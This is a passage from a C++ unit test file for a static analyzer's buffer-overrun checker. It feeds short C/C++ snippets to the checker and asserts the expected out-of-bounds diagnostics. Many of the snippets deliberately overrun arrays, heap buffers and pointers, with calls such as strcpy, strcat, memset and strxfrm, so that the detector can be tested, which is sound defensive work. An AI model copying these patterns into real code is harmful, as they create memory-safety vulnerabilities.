\\\"\\t\\t\\\");\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_27() { // ticket #4444 (segmentation fault)\n check(\"void abc(struct foobar[5]);\\n\"\n \"void main() {\\n\"\n \"struct foobar x[5];\\n\"\n \"abc(x);\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #7083: false positive: typedef and initialization with strings\n void buffer_overrun_29() {\n check(\"typedef char testChar[10];\\n\"\n \"int main(){\\n\"\n \" testChar tc1 = \\\"\\\";\\n\"\n \" tc1[5]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // #6367\n void buffer_overrun_30() {\n check(\"struct S { int m[9]; };\\n\"\n \"int f(S * s) {\\n\"\n \" return s->m[sizeof(s->m)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Array 's->m[9]' accessed at index 36, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_31() {\n check(\"void f(WhereInfo *pWInfo, int *aiCur) {\\n\"\n \" memcpy(aiCur, pWInfo->aiCurOnePass, sizeof(int)*2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_32() {\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[1] = \\\"a\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"// <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[2] = \\\"ab\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[2] = \\\"ab\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[1] = \\\"a\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_33() { // #2019\n check(\"int f() {\\n\"\n \" int z[16];\\n\"\n \" for (int i=0; i<20; i++)\\n\"\n \" for (int j=0; j<20; j++)\\n\"\n \" z[i] = 0;\\n\"\n \" return z[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'z[16]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_34() { // #11035\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int a[15] = {};\\n\"\n \" int g() const { return v.size(); }\\n\"\n \" int f(int i) const {\\n\"\n \" if (i < 0 || i >= g())\\n\"\n \" return 0;\\n\"\n \" return a[i];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_35() { // #2304\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(sizeof(q) + 1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct { char buf[1]; } S;\\n\"\n \"S* f() {\\n\"\n \" S* s = NULL;\\n\"\n \" s = (S*)malloc(sizeof(S) + 10);\\n\"\n \" sprintf((char*)s->buf, \\\"abc\\\");\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_36() { // #11708\n check(\"void f(double d) {\\n\"\n \" char a[80];\\n\"\n \" sprintf(a, \\\"%2.1f\\\", d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_errorpath() {\n setMultiline();\n const Settings settingsOld = settings0; // TODO: get rid of this\n settings0.templateLocation = \"{file}:{line}:note:{info}\";\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" memset(p, 0, 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: error: Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\"\n \"[test.cpp:2:13]: note: Assign p, buffer with size 10\\n\"\n \"[test.cpp:3:12]: note: Buffer overrun\\n\", errout_str());\n\n settings0 = settingsOld;\n }\n\n void buffer_overrun_bailoutIfSwitch() {\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) return;\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false negative\n check(\"void f1(char *s) {\\n\"\n \" if (x) { }\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Array 'a[10]' accessed at index 100, which is out of bounds.\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_function_array_argument() {\n setMultiline();\n\n check(\"void f(char a[10]);\\n\"\n \"void g() {\\n\"\n \" char a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:13]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:10]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(float a[10][3]);\\n\"\n \"void g() {\\n\"\n \" float a[2][3];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:14]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:11]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[20]);\\n\"\n \"void g() {\\n\"\n \" int a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:9]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[]) {\\n\"\n \" switch (2) {\\n\"\n \" case 1:\\n\"\n \" a[1] = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int a[1];\\n\"\n \"f(a);\\n\"\n \"\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void CreateLeafTex(unsigned char buf[256][2048][4]);\\n\"\n \"void foo() {\\n\"\n \" unsigned char(* tree)[2048][4] = new unsigned char[256][2048][4];\\n\"\n \" CreateLeafTex(tree);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a[10]) {\\n\" // #10069\n \" int i = 0;\\n\"\n \" for (i = 0; i < 10; i++)\\n\"\n \" a[i] = i * 2;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int b[5];\\n\"\n \" f(b);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: warning: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:8:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:7:9]: note: Passing buffer 'b' to function that is declared here\\n\"\n \"[test.cpp:8:5]: note: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\",\n errout_str());\n }\n\n void possible_buffer_overrun_1() { // #3035\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_readSizeFromCfg() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // Attempt to get size from Cfg files, no false positives if size is not specified\n check(\"void f() {\\n\"\n \" u8 str[256];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" u8 str[2];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // The same for structs, where the message comes from a different check\n check(\"void f() {\\n\"\n \" struct { u8 str[256]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { u8 str[2]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Buffer is accessed out of bounds: ms.str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void valueflow_string() { // using ValueFlow string values in checking\n check(\"char f() {\\n\"\n \" const char *x = s;\\n\"\n \" if (cond) x = \\\"abcde\\\";\\n\"\n \" return x[20];\\n\" // <- array index out of bounds when x is \"abcde\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'x[6]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void pointer_out_of_bounds_1() {\n // extracttests.start: void dostuff(char *);\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char *p = a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char *f() {\\n\"\n \" char a[10];\\n\"\n \" return a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -1) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is -1 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6350 - fp when there is cast of buffer\n \" wchar_t buf[64];\\n\"\n \" p = (unsigned char *) buf + sizeof (buf);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char d[] = \\\"0123456789\\\";\\n\"\n \" char *cp = d + 3;\\n\"\n \" return cp - d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_2() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 100;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (portability) Undefined behaviour, pointer arithmetic 'p+100' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) p is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p -= 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p = p - 1;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_3() {\n check(\"struct S { int a[10]; };\\n\"\n \"void f(struct S *s) {\\n\"\n \" int *p = s->a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 's->a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"template class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void test() const;\\n\"\n \" T* data();\\n\"\n \"};\\n\"\n \"template \\n\"\n \"void Vector::test() const\\n\"\n \"{\\n\"\n \" const T* PDat = data();\\n\"\n \" const T* P2 = PDat + 1;\\n\"\n \" const T* P1 = P2 - 1;\\n\"\n \"}\\n\"\n \"Vector> Foo;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_4() {\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (portability) Undefined behaviour, pointer arithmetic '\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Undefined behaviour, pointer arithmetic 'u\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4647\n \" int val = 5;\\n\"\n \" std::string hi = \\\"hi\\\" + val;\\n\"\n \" std::cout << hi << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (portability) Undefined behaviour, pointer arithmetic '\\\"hi\\\"+val' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(const char* s, int len) {\\n\" // #11026\n \" const char* end = s + len;\\n\"\n \" printf(\\\"%s, %d\\\\n\\\", s, *end);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"a\\\", 1);\\n\"\n \" f(\\\"bbb\\\", 3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, const char* a) {\\n\" // #11140\n \" (void)a[i];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (int i = 0; \\\"01234\\\"[i]; ++i)\\n\"\n \" f(i, \\\"56789\\\");\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" for (int i = 0; \\\"012\\\"[i]; ++i)\\n\"\n \" f(i, \\\"345\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_5() { // #10227\n check(\"int foo(char str[6]) {\\n\"\n \" return !((0 && *(\\\"STRING\\\" + 14) == 0) || memcmp(str, \\\"STRING\\\", 6) == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_sub() {\n // extracttests.start: void dostuff(char *);\n\n check(\"char *f() {\\n\"\n \" char x[10];\\n\"\n \" return x-1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (portability) Undefined behaviour, pointer arithmetic 'x-1' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x-i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -20) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (portability) Undefined behaviour, when 'i' is -20 the pointer arithmetic 'x-i' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(const char *x[10]) {\\n\"\n \" return x-4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strcat1() {\n check(\"struct Foo { char a[4]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x = {0};\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void varid1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \" if (str[0])\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" str[30] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varid2() { // #4764\n check(\"struct foo {\\n\"\n \" void bar() { return; }\\n\"\n \" type<> member[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign1() {\n check(\"char str[3] = {'a', 'b', 'c'};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" str[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void alloc_new() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = new char[10];\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1670 - false negative when using return\n check(\"char f()\\n\"\n \"{\\n\"\n \" int *s; s = new int[10];\\n\"\n \" return s[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Fred { char c[10]; };\\n\"\n \"char f()\\n\"\n \"{\\n\"\n \" Fred *f; f = new Fred;\\n\"\n \" return f->c[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Array 'f->c[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"static const size_t MAX_SIZE = UNAVAILABLE_TO_CPPCHECK;\\n\"\n \"struct Thing { char data[MAX_SIZE]; };\\n\"\n \"char f4(const Thing& t) { return !t.data[0]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[8] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[9] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (error) Array 'buf[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { Size = 10 };\\n\"\n \" char *s; s = new char[Size];\\n\"\n \" s[Size] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { ZERO };\\n\"\n \" E *e; e = new E[10];\\n\"\n \" e[10] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'e[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // data is allocated with malloc\n void alloc_malloc() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = (char *)malloc(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #842\n check(\"void f() {\\n\"\n \" int *tab4 = (int *)malloc(20 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1478\n check(\"void foo() {\\n\"\n \" char *p = (char *)malloc(10);\\n\"\n \" free(p);\\n\"\n \" p = (char *)malloc(10);\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1134\n check(\"void f() {\\n\"\n \" int *x, i;\\n\"\n \" x = (int *)malloc(10 * sizeof(int));\\n\"\n \" x[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4; tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" free(tab4);\\n\"\n \" tab4 = malloc(21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" tab4 = realloc(tab4,21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(Size * 4);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(4 * Size);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { ZERO };\\n\"\n \" E *tab4 = (E *)malloc(20 * sizeof(E));\\n\"\n \" tab4[20] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #8721\n \" unsigned char **cache = malloc(32);\\n\"\n \" cache[i] = malloc(65536);\\n\"\n \" cache[i][0xFFFF] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = malloc(2 * sizeof(int*));\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = new int*[2];\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, 